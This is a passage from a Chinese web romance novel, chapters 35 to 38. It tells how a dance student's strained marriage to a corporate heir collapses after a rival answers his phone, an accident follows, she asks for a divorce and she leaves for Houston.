“就几天前啊,还住了两天院呢,小姑娘你没告诉你男朋友啊?”医生上下打量了一眼沈淮。
姜早根本不敢看沈淮,低低嗯了一声,然后指着右腿膝盖道:“医生,我刚刚膝盖磕了一下,现在走起路来有点疼。”
医生撩起她裤腿,看到满是淤青块的腿和膝盖,蹙眉道:“小姑娘是学舞蹈的吧?”
姜早心不在焉,闻言点了点头:“是。”
医生在键盘上输入着什么,扶了扶眼镜,说:“我之前遇到过很多练舞蹈的学生有膝盖积液的问题,你这个像是膝盖积液没恢复好,又让膝盖承受了太多外力,或多或少会痛的,就是看后续会不会对你骨头有影响了,这样吧,你先去拍个片,我给你开个单子。”
姜早担心问:“这个几天能恢复好?”
如果这几天恢复不,对去休斯顿的舞台展现影响很大。
舞蹈不可能不用到膝盖,特别是这样的大舞台,所有人都使劲浑身解数,技巧组合都以高难度和惊艳为主。
医生道:“具体要看片子。”
姜早刚给老板发完请假一段时间的消息,忧心忡忡的走出去,刚关上门打算往前走,一头撞到了沈淮的身上。
她往后退了一步,但退无可退,只能贴到后面的墙上。
沈淮倾身过来:“是不是我给你打电话的那天?”
姜早知道他说的是什么时候,那天急诊,她昏迷不醒,沈淮打来电话,是彭高兴替她接的。
她错开一步,试图绕开沈淮,低声道:“我先去拍片。”
沈淮又挡在她身前:“谁给你灌的酒?”
姜早抬眸,正撞上他如墨般眸子里暴露的怒意,她顿了顿,才道:“我自己喝的。”
她不想那段不好的经历被他知道。
只是沈淮似乎没有打算就这样放过他,仍旧挡在那里,丝毫没有退后的意向。她有些忍受不了那道灼灼的目光,伸手要推开他往前走,“拍片来不及了。”
她的手触到沈淮肩膀的一瞬间,被他反握住,往里拽了一把,拦腰抱起来。
姜早无措之间下意识揽住了他的脖颈,反应过来之后,她蹙眉道:“你放我下来,我自己能走。”
“不是想继续参加那个比赛?”他的脸上看不出什么神情,语气却有些冰冷,“不好好恢复怎么参加。”
晚上的医院人很少,急诊室也只有零星几个病人在外面等着,空荡的走廊上散着药味,泛着凉意。
沈淮鲜少有明显的情绪,她也鲜少看到这样生气的沈淮。
她没有完全理解沈淮的话,直到沈淮不让她下地走路,才领悟到那句话里的意思。
好在后来医生看过片子,说只是小磕碰,到不了骨伤,这才答应她自己下地走路。
最后,她咬着牙打完第二针狂犬,在医院这段不愉快的经历才算结束。
车窗外微风习习,晚风轻柔泛着凉意,夜晚的马路不算热闹,只有零星的车流。
沈淮把车在路边停下来,侧头静静的看着坐在副驾的姜早。
路灯的半抹橘色光打在那张泛白的脸上,她闭着眼睛半寐,不知是真的睡着了,还是在装睡。
心头莫名涌起一点烦躁,也渐渐被车窗外的风抚平了。
他还是不懂女人。
和小时候不懂母亲一样。
只能小心翼翼的试探。
上一辈的婚姻,他没有从中学到任何东西,印象中,父母总是刻意保持着距离感,对他也是,让他以为家人就是有距离感的。但他的夫人不是,距离不近一点,转身就找不到她了。
下一秒,女人的头往旁边无意识的倒过来,他伸手接住。
这才发觉她好像真的睡着了。
下一秒,手机震动了一下,车里很暗,手机亮起的光刚好够看清上面的内容,是陆特助发来的短信。
他蹙眉,伸出的手已经来不及去按下关车窗的按钮。
远处升起一抹光弧。
沈淮双手轻轻捂着那睡梦中人的耳朵。
烟花在天空绽开的那一刹那,睡梦中的女人一直蹙着的眉也松开了。
夜越来越深,车开到了别墅楼下,他将姜早耐心的放上床,掀起被子轻轻盖上,静了好久,转身离开。
姜早听到汽车发动的声音,慢慢睁开眼睛。
她没睡着,只是不知道该怎么和沈淮解释。
窗帘没有完全拉上,露出的夜色半角,能看出时间已经接近凌晨。
她掖了掖被角,低声喃喃:“这么晚,怎么出去了。”
是单位有事?
还是江婷找他?
想到这里她闭着眼蹙眉,将自己藏进被子里。
这几天她想了很多,甚至心存侥幸的想,至少没有亲耳听到沈淮喜欢江婷。
一段感情里,谁先动心,谁就会变得敏感和卑微。
她贪恋沈淮给她的美好。
那一晚,失望替代了眷恋,她好不容易说服自己离开沈淮,走出了那扇门。
可他偏偏就站在路灯下。
眷恋代替了理智,所有理智疯一般的退缩,脑海里只剩下了他的身影。
嗯,至少,没有亲耳听到他说喜欢别人。
没有摊开在明面上
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,一切都可以恢复如初。
万一呢。
她心存侥幸的想。
万一这一切都只是谣言呢。
她也曾经历过谣言,知道谣言的可怕之处,也许沈淮喜欢江婷,也只是一个谣言。
她想了很多,想着想着便睡了过去。
梦里,她听到了耳边绽放的烟花,小心翼翼的睁开了眼睛,绚烂的烟花在天空中绽放开,照亮了半座城市,这是她见过最好看的烟花。
凌晨的街道是寂静,京A的商会楼却是夜夜笙歌。
楼下摇酒的服务生仰头望着最高层:“那间包厢今天怎么有人用了?”
印象中,经理三令五申,让她们盯着,不要让人上楼。
“谁知道,好像是经理迎接上去的,应该是什么大人物。”旁边人擦着桌子道,“别管了,今天这场可不是普通的商会,据说是江氏集团组织的,还来了很多国内顶尖的上市企业,没一个普通人,我们比经理更狗腿就行了。”
顶层的包厢,穿着干净衬衫的男人静静地靠在墙上,与周遭的喧闹格格不入。
楼梯上,穿着西装姗姗来迟的莱总,步履匆匆。
见到面的第一瞬间,就绽开笑容,谄媚道:“多谢小沈总大人不记小人过。”
沈淮退了一步,给他让道,轻笑着说:“里面请。”
“哎,好。”莱总挥退身后的助理,赔笑着推开门。
门打开的一瞬间,两个人高马大的男人将他架了进去。
“你们是什么人!你们要对我做什么!”
挣扎声混入这喧闹的音乐中,意外的贴合,不引人注意。
沈淮神色未动,理了理衬衫的袖口。
周围都是尼古丁和酒的味道,让人觉得反感。
陆特助走过来:“小沈总,那个姓彭的女人还在公司没走,说是收钱太多,有点不好意思,还想亲自提醒你几句,帮你...帮你婚姻更和谐。”
沈淮望着楼下,道:“知道了。”说完,他面无表情的走下了楼。
“怎么去了这么久。”沈董事长,端着酒杯,漫不经心的回头问。
沈淮在角落里坐下:“有点事耽搁了。”
沈董事长晃着酒杯里的酒,眼神与地下对视的那几个人对上后,友好地点头,侧头和旁边人慢慢道:“平常不见你喜欢来这种商会,怎么这次主动来了。”
沈淮下意识要拿桌上的柠檬水壶,却在触碰到提手凉意的时候停下来,不着痕迹的拿起旁边的红酒,倒了半杯:“既然已经替父亲接管了沈氏,自然要像父亲一样八面玲珑,不能让沈家的基业断在我手里。”
沈董事长闭上眼,揉了揉脖子,闻言笑了一声,却没应声。
一个服务员端着托盘走过来:“二位先生,德国进口糖果,有需要吗?”
托盘里,五颜六色的糖果。
沈董事长往嘴里送了口酒,睨了一眼:“不用。”
沈淮伸出的手滞在半空,三秒后收了回来,微微一笑,笑若清风:“不需要,谢谢。”
沈董事长俯瞰台下,闭上了眼睛,慢慢道:“今天江婷也会来,利用好你和江婷的关系,把江家的合同拿下来。”
沈淮淡淡道:“知道了。”
35. 第 35 章
次日,又一个雨夜。
姜早望着窗外,久久出神。
昨天,沈淮没有回家。
这个家又只有她一个人。
雨滴轻打着车窗,一阵电话铃混着雨声响起来。
姜早放到耳边,按下了接听。
“早早,你睡了吗?”
是姜女士的声音。
姜女士很少主动和她打电话。
姜早打开窗户,风透进来,泛着凉意。
她望着窗外,如实道:“还没。”
姜女士的声音听起来有些开心,耳边是微微的风声,像是行驶在路上:“你喜不喜欢奔驰?我和你爸今天去挑车都挑花眼了,好不容易看到一台还不错的,赶紧定下来了。”
姜早不禁想起了什么,半分犹豫的问:“为什么突然要给我买车?”
姜女士那边笑了两声:“给你选陪嫁呀,正好这两天车行有打折活动,贷款说是能减免多少...”
电话里传来姜爸的声音:“两万块!”
姜女士笑着道:“对对对!现在办贷款的话能减免两万块,以后就没有这个活动了!”
姜早心中一沉,一种预感呼之欲出,攥着手机的指尖渐渐攥紧:“你是不是动给爸做手术的钱了?”
电话里的声音静了静。
转而电话里姜爸的声音传出来,带着大男子的口气:“囡囡啊,爸这边你放心,网上说骨头慢慢养就能好,不是非要做手术的,你给的这笔钱,爸给你留着,等到你婚礼那天,一起给你,显得咱们家也有底气!咱们家虽然比他们家差很多,但是该有的一定是要有,爸这点面子还是要给你的。”
窗外的风吹过她单薄的衣衫,贯穿了全身,只剩下冷意。
“喂?早早,在不在听?信号是不是不好啊?”
“开车当然信号不好,都说了等会停路边再打,你非要现在打。”
“我不是想着早早平时睡的早吗,咱们两个从市区开车回去都几点了。”
“行行行,你有道理,那我把电瓶车停在路边,等你打完再走。”
电话里的风声渐渐小了。
“喂,早早啊,喂,听得见吗?”姜爸大声问着,生怕听筒传声不好。
姜早抬手拂过脸上的凉。
心中没有一丝感动,只有无休止的疲惫和足以把她摧毁的愧疚和压力。
她闭上眼,无力道:“爸,你去做手术行不行,我现在赚了很多钱,我的婚礼真的不缺这点钱。”
姜爸说:“你还是个学生能有多少钱,爸知道你在大城市打拼不容易,不用担心爸爸,爸爸现在还年轻,骨头随便养一养还能养回来,像你爷爷那样摔一跤才真的养不回来了。”
明明他说的轻松,姜早却感觉有什么东西越压越紧,几乎将她压得不能呼吸。
“电话给我,我来说。”听筒里姜女士抱怨了一声,然后电话里变成了她的声音,“你别担心你爸,现在我们家最重要的事情就是你结婚这件事情,小淮家庭好,你能嫁给他我们脸上也有光,陪嫁弄的好一点,我们也有面子,不会被他们看不起。”
姜早调整了呼吸,慢慢道:“妈,我先是你们的女儿,才是他的妻子,你就让我尽一点女儿的责任行不行。”
她终于懂了那种感觉。
那种她不是她的感觉。
她可以有身份,但她首先得是她自己,她叫姜早,是一个活生生的人。
再是爸妈的女儿,再是沈淮的妻子,再是江大的学生,再是孩子的舞蹈老师。
她从来不是任何人的附属品。
从前她向来独立,即使有多个身份,但她是她自己。
现在不是了,她好像活成了沈淮的附属品、
这不是她。
对面的妈妈察觉到了她的情绪,但还是以她一贯的态度反驳道;“我们也是你的父母,我们打拼了一辈子不就是为了你吗?到时候你婚礼不风光,我们也跟着不光彩,拼了半辈子可不能在这时候丢人。”
姜早几乎要喘不过去,烦躁的喊了一声:“妈!”
“你这是什么语气?你以为我们都是为了谁?不都是为了你吗?”妈妈训斥道。
姜早无力的在房里踱步,边走边道:“我真的不需要,妈你能不能顾及一下我的感受?”
姜妈理所当然道:“我们就是顾及你的感受,你的人生,才这么做啊!”
“哎,那辆大车开的怎么这么快?”
“你赶紧把电瓶车去移开一点,挡在路中间,人家怎么开?”
“知道了知道了,还不是以为晚上这附近没人吗?”
电话里静了静,姜妈咂了声嘴后,似乎放下了手机,听筒里传来她骂的声音:“哦哟,忘记你手推不了车了,来来来,你拿手机,我来推车,这车怎么不改方向...老姜!”
电话突然砸到了地上,紧接着是嘟嘟嘟的声音。
姜早四肢百骸都充斥凉意,手止不住颤抖:“喂?妈?怎么了?”回答她的只有一连串的嘟嘟声。
手机从手里滑落,摔在地上。
她跪倒在地上,捡起手机,用颤抖的指尖点那个手机号码。
第一次。
第二次。
第三次。
回答她的只有冰冷的机器女声。
“怎么办?怎么办?”她不知所措的拿着手机,浑身冷的发抖,她真的慌了,真的害怕了,惧意让她几乎大脑一片空白。
外面的雨越来越大了。
手机再一次从手上滑到地上。
回家的火车和高铁只有白天和下午,这个点是没有票的,她回不了家了,她要回家,要怎么才能回家。
似突然想到了什么一般,她慌忙捡起手机,双手捧着,颤抖的手点亮屏幕,嘴里不断喃喃。
“沈淮!让沈淮送我回去!对!沈淮!”
她将手机放到耳边,眼里的泪几乎占满了眼眶。
“快接电话啊,沈淮,求你,快接电话...”
酒局的包间,橘黄色灯光,尼古丁和酒味重合,杯酒相撞,烟灰抖落在地,到处是欢声笑语,纸醉金迷。
“老沈啊,你儿子实在是太难约了,我们几个老朋友想见他一面都排不上号,如果不是江总在这摆局,也不知道什么时候才能看到他。”顶尖上市集团的老板放下酒,与周围几个总裁对看了一眼,明明是在笑,语气却意味不明。
“听说,沈氏最近资金链出现问题了啊?”有人刻意提道。
“是啊,我也听说了,小沈总,你要是有需要帮忙的,跟叔叔伯伯说一声,叔叔伯伯能帮就帮。”
在座的都是京城站稳脚跟的顶尖集团,他们和
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沈董事长早年一起打拼,积累了不少情分。早年也是靠此,趁机在沈氏捞了不少油水,直到沈淮接管沈氏之后,把他们在沈氏的财路都封住了。
这笔钱不是一笔小数目,他们自然在意。
想要约沈淮吃饭,就是怎么也排不上号,有些人更是排号排了两三个月,两三月之后告诉他,没档期,要改期。
沈淮做的太绝了,他们很难没有怨气,只是碍于沈氏集团位置太高,怨气一直憋在心里。
直到听说沈氏最近出现资金问题,这才敢大着胆子发作。
沈董事长轻轻笑了声,没什么情绪,掸了掸手里的烟,抽了一口,没有说话。
“沈淮啊,叔叔伯伯都是看着你长大的,高位坐的比你久。位置太高了,容易摔下来,要想坐得稳,还是得把门打开些,这样扶的人才能进来呀。”有人用玩笑的口气说着,眼中的深邃却直勾勾的看向角落里的人。
沈淮睨了一眼身边毫无反应的父亲,低头轻笑了一声,举起酒杯站起来:“各位长辈说的对,是晚辈年轻见识短,初来乍到不懂规矩,还希望各位多多指教,别和我一般见识。”
满杯的酒,被他一点一点全部喝完。
“哟,小沈总这酒量可以啊,再提一杯。”
“好。”沈淮笑着接过酒,慢慢的往杯子里倒,波澜的酒杯里,看到了十几年前的倒影。他举着酒杯站起来,说着冠冕堂皇的场面话,在众叔伯惊叹的目光中,面无表情的喝下第一杯酒,接受他们的欣赏与赞美。
他当时,不过十岁。
记忆重叠,还是那些面孔,只不过,现在终于不是仰头了。
他抬头,轻笑。
眼神划过众人,静静地,一字一句道:“再敬各位叔伯一杯。”
循回往复,杯酒交盏。
终于散场,人群散去,只剩下他和父亲。
一直没有说话的父亲,站起来,俯视他,眼神尽是高傲:“我还有事,你自己先回去吧。”
沈淮仰头,含着醉意的眼,朦胧的看着眼前的人。
他怎么会不认识那种眼神,这么多年,从未变过。
他轻笑一声,清晰,又缓慢道:“好的,父亲。”
陆特助从外走来,见状,愣在原地。
记忆如潮水般涌来。
他与他相伴十年,是同窗之谊,也是竹马之交。
见过他像雄狮一样俯瞰众生,也见过他像枯枝一样摇摇欲坠。
他欣赏沈淮的手段和能力,也心疼他辛苦又滚烫的遭遇。
都说沈氏新任总裁不近人情,杀伐果断。
可他知道沈淮从未享受过爱的滋养,拒人千里之外的淡漠和绝情,都是理所当然。
回首多年,沈淮永远都是一个人独自舔舐伤口。
回忆抽丝剥茧,慢慢散去,变成眼前坐在椅子上,凝视天花板的人,安静的可怕。
他却觉得,坐在椅子上的人,摇摇欲坠。
“小沈总,陷阱有人上钩了,要收网吗?”他走到沈淮身边,没有露出任何异常神色,就因为他的本分,这么多年才能一直留在沈淮身边。
沈淮闭上眸子,再次睁眼时,眸中的醉意夹杂了一丝清明。
他说的慢慢,又缓缓,却也字字清晰。
“不急,网拉的大一点,才好收网。”
36. 第 36 章
陆特助离开,只剩下他独自留在那里。
周遭的空气充斥着令人窒息的酒精味。
沈淮静静的望着天花板,许久都没有动,直到视线睨到桌上那盘糖果,他微怔。
他扶着桌子,坐直了身,但因为醉意,身体不受控的往前倾,他也不在意,没有刻意调整,就任由身体紧贴着桌子。
如至宝般将糖果一颗一颗藏到口袋里。
等到桌上的盘子空了,他捂着口袋,手撑着桌子,摇摇晃晃的站起来。
在要走到门口的时候,那只迈出去的脚突然收住,停在半空中,半响后慢慢收回那只脚。
现在还不能回家。
他夫人应该不喜欢酒味。
回家之后,再把糖给她。
得哄哄她。
巨大的疲意将人吞噬,他找了个角落,慢慢蹲下。
沈淮闭上眼,任由自我意识下坠。
“这个合同,江氏当然吃得下,你敢给,我就敢要。”
“江山代有才人出啊,江董事长养了个好女儿,颇有你父亲年轻时候的风范啊。”
“伯伯谬赞了,我也只是跟各位叔伯学习的多罢了,往后还要多和你们请教,还希望到时候你们可别嫌我烦。”
敞开的包厢,不断有手机震动的声音,迟迟没有人接的迹象。
江婷视线移过去,半开的门,露出一个西装的衣角。
她不可能认错,这件衣服是沈淮今天穿的衣服。
“伯伯,您先回,我想起来有东西落下了,要回去取一下,就不远送了,路上小心。”
“好,那我先走了。”
在看到那道身影消失在道路尽头时,江婷收回目光,转身进了那个包厢。
扑面而来的酒味,以及满地的酒瓶把她吓了一跳。
她在角落里找到了沈淮。
他躲在阴影里,头枕着墙,脸上泛着红意,满身的酒味。
她从来没见过这样的他,那么狼狈。
她蹙眉,捏住他的肩膀,晃了晃:“怎么喝成这样了?沈淮你醒醒?沈淮?”
电话铃断了一会儿,又再次响起来。
江婷从他衣服口袋里拿出手机,目光在触及那个名字的时候,猛地顿住,聚起一团黑雾。
沈淮给这个人的备注,是夫人。
是谁?
她心中隐隐有个猜想,但她不想相信。
电话铃一直在响,这个包厢很安静,显得那个铃声震耳欲聋。
她俯视着那个名字,指尖升起停在半空,三秒后重重的点在接听上,放到耳边。
电话里的女人带着哭腔。
她却认出来那个声音了。
那个舞蹈系的女生,姜早。
果然是她。
原来,他们真的已经结婚了。
她沉默的听着,未置一言。
可是怎么办呢?她也喜欢沈淮,还非他不可。
她是江婷,江氏集团的江。
她喜欢的东西,从来没有得不到的。
爱也一样。
结婚了又怎么样,抢回来就好了。
在听筒里那道女声几乎崩溃的时候,江婷站起来,轻飘飘道:“他睡着了,可能不太方便,需要我给你叫辆车吗?”
电话里那道女声静了,转而是手机跌落在地上的声音,电话挂断了,传出嘟嘟嘟的声音。
很刺耳。
她只觉得爽快。
江婷嘴角勾起微弧,想将手机放回到沈淮的口袋里,却在触及到他衣服的时候,突然被一只手拽住。
江婷被吓了一跳,视线撞入那双深暗色的眸里,黑不见底。
“沈淮,你做什么,疼。”江婷拧了拧手腕,故意装作什么都没发生。
他冷色道:“谁允许你接电话。”
江婷愣住了,也不敢再挣扎。
她第一次看到沈淮用这么冰冷的眸子看她。
如墨的眸子里,是惊涛骇浪的怒。
她被吓到了。
江淮拿回手机,甩开那只手,不知是不是用的力气太大,江婷跌在了旁边,但他没有管。
他只想到了,姜早朋友昨天提醒的那一句。
“想要婚姻过得去,离别的女人远一点。”
他撑着地起来,扶着墙慢慢走出去。
身后的江婷倒在地上,反应过来后,望着那道背影,眼睛红的要滴血:“沈淮,你喜欢她?那你对我的好,都算什么?”
沈淮停在原地,侧身面无表情道:“不知道我之前做过什么,让你有这样的误会,我为我的行为向你道歉,对不起。”
江婷不信,执着道:“那你在国外帮我做饭,还...”她突然便不说了,因为她从那双眸子里看不出半分爱意,甚至连怜悯都没有。
沈淮背过身,往外走;“我父亲让我在国外多照顾你,仅此而已。”
江婷的脸上划过一道泪,带走她对沈淮所有的眷恋,她朝那道背影吼道:“沈淮!你是不是疯了,我才是和你最般配的那个人,你确定要为了那个毫无价值的女人开罪我!”
她不理解,她真的不理解。
在这个利益至上,权衡利弊的时代。
没有什么比利益之间交换和合作更稳定的关系。
她真的不理解,沈淮这么聪明的人,怎么会做出这么愚蠢的决定。
沈淮没有停下,转身除了房门。
但是那句话却飘进了她耳朵里。
让她浑身哭的颤抖。
他说:我喜欢她。
半个小时后,沈淮回到了家。
陆特助给他开车门,看到他额上的细汗,问:“小沈总...”
“我没事。”沈淮摇头,踉跄着走进家里。
空荡的家里,他丝毫不觉异常,换好了衣服,扶着墙走到那扇门口,拿出口袋里藏的糖,慢慢张口:“我回来了,姜早。”
回应他的是沉默和身后猫叫声。
他知道姜早又生气了,好在这次知道为什么生气了。
等到她开门,再好好跟她解释就好了。
他疲惫的顺着墙面慢慢坐下来,静静的望着房门的方向。
也不知道,那些糖能不能哄她开心。
额上的细汗提醒他,身体已经很难支撑了。
可他仍旧强撑着,不敢闭上眼。
雨淅淅沥沥的下,手机铃声混着雨声在这个寂静的夜响起。
沈淮扶着墙,找到了一个安静的地方,点开压低声音道:“妈,怎么了?”
听筒那边,姜妈的语气有些着急:“小沈啊,姜早有没有和你在一起啊,打她电话怎么也打不通?”
沈淮回头,望着那扇关上的门:“她睡着了,手机可能关机
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了吧。”
姜妈松了口气道:“那就好。”
沈淮问道:“妈是有什么话要带给她吗?我等她醒了转告她。”
“行,那你替我们报个平安吧。”姜妈道。
沈淮明显感觉发生了什么问道:“爸妈遇到什么事了?”
姜妈有些惭愧道:“说来也怪我,不应该把电瓶车停在马路上,老姜差点让车给撞了,好在最后没事,就是摔了一跤。我当时正和早早打电话呢,看到老姜要被撞赶紧跑过去,手机就掉地上了,回去捡的时候看到电话已经挂断了。早早这人心思多,我也是担心早早过来找我们,大晚上跑出去不安全。”
姜妈叹了口气,和旁边的人报了声平安,窸窸窣窣的一系列声音后,像是躺回了床上,声音比方才更放松了些:“还好,早早还在家就行,大晚上打扰你了,你也早点休息。”
电话挂断。
沈淮顿在原地。
他猛地抬眸,联想起方才姜早打给她的那通电话。他扶着墙快步走到门口,敲了两下门,没有反应。
推开门,房间的灯是亮的,她的所有东西都还在。
只是她不在了。
恐惧和不安在酒意的发挥下放到最大,他试图打通那个电话,但回应他的一直是未接女声。
沈淮扶着墙,一步一步倒退着往后走,转身之后变成了跑。
她不在家,会去哪里。
……
夜深,大雨如瀑,街上零零散散的车等着红灯,水滩上倒映着红色的光影。
太静了,静的好像整个世界只剩下雨声。
120的警笛划破长空,周围都变得喧闹起来。
有人被架上单架,送到救护车里。
在路上找人的沈淮停下来,看着那辆救护车,心中一种不安感涌起。
他跑到刚散开的人群,随便抓了一个人,问:“刚刚这里发生了什么?”
“你问刚刚啊,刚刚给我吓得,有个小姑娘一直在路边拦车,有辆车车灯没开,一个不小心就把她给撞了,人当时昏过去了,刚上救护车呢,也不知道人怎么样了。”
沈淮急问:“你有没有看到她身上穿的什么衣服?”
路人被拽着衣领,几乎要被提起来了,他忍着呼吸上的不时,迟疑道:“就是一条白色的衣服,有点像睡衣,外面批了一个外套...”
话还没说完,那衣领骤然一松。
路人理了理自己的衣领,暗自庆幸刚刚那男人揪的是衣领,不是脖子,刚刚那力道,掐着脖子估计要把他掐死。
他举着伞,望着那道在雨里的背影。
轻声嘀咕:“果然晚上还是要少出门,没几个正常人。”
医院里,滚轮在地板上急速的摩擦,机器声走道轮番响起。
终于,在凌晨十分,所有一切,归于平静。
医生脱下手术服的一瞬,病房的门也关了。
像是什么都没发生过那样。
一切都恢复了平静。
躺在病床上的女人慢慢睁开眼,窗外是如墨般的夜色,周围的环境很陌生,手上很疼腿上也很疼,她动不了,为什么。
她只看了两眼,便又陷入了混沌。
她做了个噩梦,梦里沈淮牵着江婷的手,说不要她了,她哭的很伤心。
因为她意识到了这是场梦,可偏偏也不只是场梦。
37. 第 37 章
次日的清晨,一缕橙色的暖光从窗外照进来,丝毫缓解不了房间里的冷意。
有人拉开窗帘,走到桌边,放下保温壶,好久之后才转身出去。
姜早从混沌中清醒,睫毛微颤,慢慢地睁开眼睛,映入眼帘的正在看吊瓶的姜女士,以及睡在陪诊床上的姜爸。
姜早一时分不清是梦境还是现实,一滴泪从眼角滑落下来。
轻轻呢喃了一声:“妈?”
姜女士听到声音,立刻看向她,握住她的手道:“现在感觉怎么样?好一点没有啊?昨天晚上可把我们吓坏了,你知道不知道?”
手上的触感格外真实。
她半撑起身,揽住姜女士。
事实上,昨晚手术灯打在脸上的时候,她没有任何求生的想法。
她甚至觉得,就这样死了也挺好。
一个没有家的人,没有任何人在乎的人。
即使消失在这个世界上,也不会有任何人在意和发现。
但是,还好。
明明昨晚那么悲痛,现在她竟然庆幸起来。
至少,爸妈还在。
姜妈摸着她的头道:“也怪妈不好,害你成现在这样。多亏了沈淮,把我们带过来,不然我们呆在家里干着急。”
她哭了很久,哭到累了睡过去。
再次醒来,爸妈已经走了,给她留了纸条,说去买水果了。
她想拿手机,但触及那只手机的那一刻,回忆在瞬间重现,听筒里的女声说的字字清晰。
她突然就收回手,将被子拿起来,慢吞吞地将手放回了被子里。
差点忘了。
手机在落到地上的那一刻,就已经坏了。
她凝视着天花板,眼睛久久都没有动一下。
她想到了和沈淮的初相识,想到了他们一起经历的过往种种,明明这一切都才发生没多久,却好像已经是很早之前的事情了。
她的思绪停留在回忆里,连有人进来了都没有发现。
直到医生拔掉了她手上的滞留针,感觉到手上的痛感,她才回神过来。
医生说她只是小磕碰,骨头没事,很快就能好,要注意保持好心情,积极配合治疗。
姜早凝视着那只腿。
她感受得到。
那种半边麻木和使不上力气的感觉。
其实她该庆幸,明明那辆车的车速这么快,她只是小磕碰。
可是,她实在开心不起来。
未来几天,她就要飞往休斯顿。
伤腿要练多久,才能恢复到原来水平,或是不被别人发现是条伤腿呢?
肯定是会被发现的。
医生静静地看着护士的眸子,没有回一句话。
触及到那双眸子,护士静默了好久才移开目光,轻叹了一口气道:“好好休息,注意保持好心情,有事可以按服务铃,我马上就过来,不过应该也用不上我...”
说完,门口静静的站着一个人。
医生朝门口看了一眼,便离开了。
姜早看着他走过来,站到床前。
他没有立刻说话。
她也只是看着他,没有说话。
他见她的手露在外面,想要拿起来放到床单里,却被她躲开。
他的手滞在半空,停顿了好久才收回。
他坐在旁边,从桌上拿起保温壶,打算拧开。
他的话没有说完,就被姜早打断。
“我们离婚吧,沈淮。”
明明是天大的一件事,却被她用平静的语气说出来,像只说吃了一碗饭那么简单。
沈淮转着保温壶的手停住,抬眸与那双几乎没有任何情绪的眸子对上。
他静了一下,蹲下身平视她,认真解释昨晚的经过,前所未有的示弱。
姜早就这么看着他的嘴张张合合。
“对不起。”说到最后,他也安静下来。
他从未想过昨天的事会造成这么大的后果。
如果能预料到未来,他宁愿不下那一盘棋。
周遭安静下来。
她仍旧没有说话,安安静静,眼神空洞又无神,明明在听,却像是脱离了这个情景,游离到了别的空间。
就在沈淮以为她没听清楚,准备再讲一遍的时候。
姜早开口了。
她的两边碎发沾染了坠下的泪珠,那道声音安安静静不疾不徐,却也带着无力和潮湿:“可是沈淮,我累了。”
她累了。
她不想再惴惴不安,不想整日在揣测别人的心思。
不想在晚上整夜的苦思冥想,他到底喜不喜欢她。
不管这段话说的是不是真的,她都不在乎了。
本身就不应该在一起的,他们本身就是云泥之别。
在低处俯视的感觉,等待月亮照耀的感觉,为月亮被云挡住而生气吃醋的感觉。
一切的一切,都太累太累了。
她平常已经够累了,耗费不起那么多精力了。
沈淮突然也不说话了,静了一会儿,从口袋里拿出很多糖,放到床头柜上,转身往外走:“累了就休息,我一会儿再过来。”
姜早睨了一眼柜子上堆成山的糖,闭上眼睛,调整呼吸。
“我是说,我不想和你在一起了。”话说完的一瞬间,两道泪顺脸滑落下来,她侧头,凝视着那道身影,一字一句清晰道:“我们离婚吧,沈淮。”
那道身影僵在门口。
橘黄色的太阳光下,他的背影被拉得好长。
病房里,许久都没有声音。
静到仿佛这个房间没有人的存在。
“姜早。”
他干哑的声音喊出那个名字,却也有前所未有的偏执和强硬。
“我不同意。”他背过身,手捏着门把,退了出去。
门被关上。
泪水打湿了枕巾,姜早睁开眸子,泛红的眼圈,空洞的望着天花板。
可是,这次她不想再玩拖拉游戏了。
不管同意还是不同意。
她都准备离开了。
夜晚,突如其来了一场大雨,有人在寂静中安然入睡,也有人吹了一夜风被雨打湿了全身。
空荡的街道,雨声混着电话铃的声音一遍遍响起。
好不容易,手机的主人终于接了电话。
雨水打湿了屏幕。
听筒里传来年迈的声音,尖锐,刺耳。
“沈淮!你到底做了什么蠢事?江氏说要和我们解除合同,知道这样会造成多少亏损吗?我现在真后悔把江氏交给你!你太让我失望了!
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现在立刻回来,和我一起去江家和你江伯伯还有江婷道歉!”
他这一生只允许成功,不允许失败。儿子,必须也同他一样,才能算是一个让他骄傲的附属品。
沈淮站在路灯下,静静地望着住院楼顶层那盏打开的灯。
贴在耳边的手机,还在不断的发出声音。
他静静的听着,也许听进去了,也许没听进去。
直到那道声音结束。
他静了一会,才慢慢开口。
“可是父亲,下雨了。”
电话里那道声音明显顿了一下,然后是更大的愤怒:“下雨了又怎么样!你最好是淋着雨去,才好让江家看到道歉的诚意!赶紧给我过来,听到了没有...”
电话里的声音戛然而至。
他按灭了手机,仍是望着那个方向。雨水浸透衣服,他仿佛成了雨的一部分,身体的轮廓在大雨中难以分辨,凉意深入骨髓,他却仿佛浑然不觉,毫无动作。
父亲,下雨了。
这是一场猝不及防的大雨。
他不想走,也不敢走。
上一次,也是一场大雨。
他在睡梦中听到了了汽车的鸣笛,母亲被永远留在了那个雨天。
这次的大雨,又给他熟悉的感觉。
这场大雨结束后,他也许又要没有家了。
撩开的窗帘被轻轻放下,姜早身体紧紧贴在墙上,双手攥着拐杖支撑柱身体不倒下来。
她仰头望着天花板,又左右摇了摇头。
明明今天已经哭了一天,应该怎么也哭不出来了才对,可在触及到那个视线时,眼泪就是控制不住的掉下来。
她哭的狼狈,双肩颤抖。
睡在陪床的母亲翻了个身。
姜早下意识要回床上,迈出的第一步却忘记了用拐杖,踉跄了一步重重跌在地上。
她浑身都很疼。
一时分不清是□□更疼还是精神更让她痛苦难耐。
她早就做好了被发现的准备,一瞬间就想好了一套说辞。
或是想吃东西,或是想上厕所,哭是因为摔倒在地上,太疼太疼了,忍不住才哭的。
她仰头,看到爸妈仍旧睡着,没有任何动静,她闭眼,两滴泪落下来,她却笑了。
笑着笑着又哭了。
她没有立刻起来,而是手弯曲下来,将头枕在地上,将自己蜷缩起来,感受着腿上的痛感,与心中的酸胀共同作用。
怎么会。
这么痛呢。
大雨连下了两天,病房的门走走出出,也忙碌了两天。
第三天,是个艳阳高照的天气。
沈淮依旧打算把粥放到门口,让护士带进去。
正在整理床铺的护士却对他说。
这位病人,今天凌晨便已经走了。
过来办离院手续的姜女士看到了沈淮,便打算过来打声招呼。
“妈,你知道早早去哪里了吗?”
姜女士没感觉到有什么不对,直接道:“你说早早啊?她说恢复的差不多了,后面打算回家养一养,哎?她不是说你接她回去吗?怎么你没接到她?”
“哎?”
“这孩子怎么跑这么快。”
姜女士看着那道急匆匆离开的背影,轻轻蹙眉。
38. 第 38 章
姜早落地的时候,是休斯顿的冬天。
身无分文,只带了一身狼狈和满身孤勇。
也不知是命运的捉弄,还是上帝的眷顾。
也真是可笑,这两者竟然能并存。
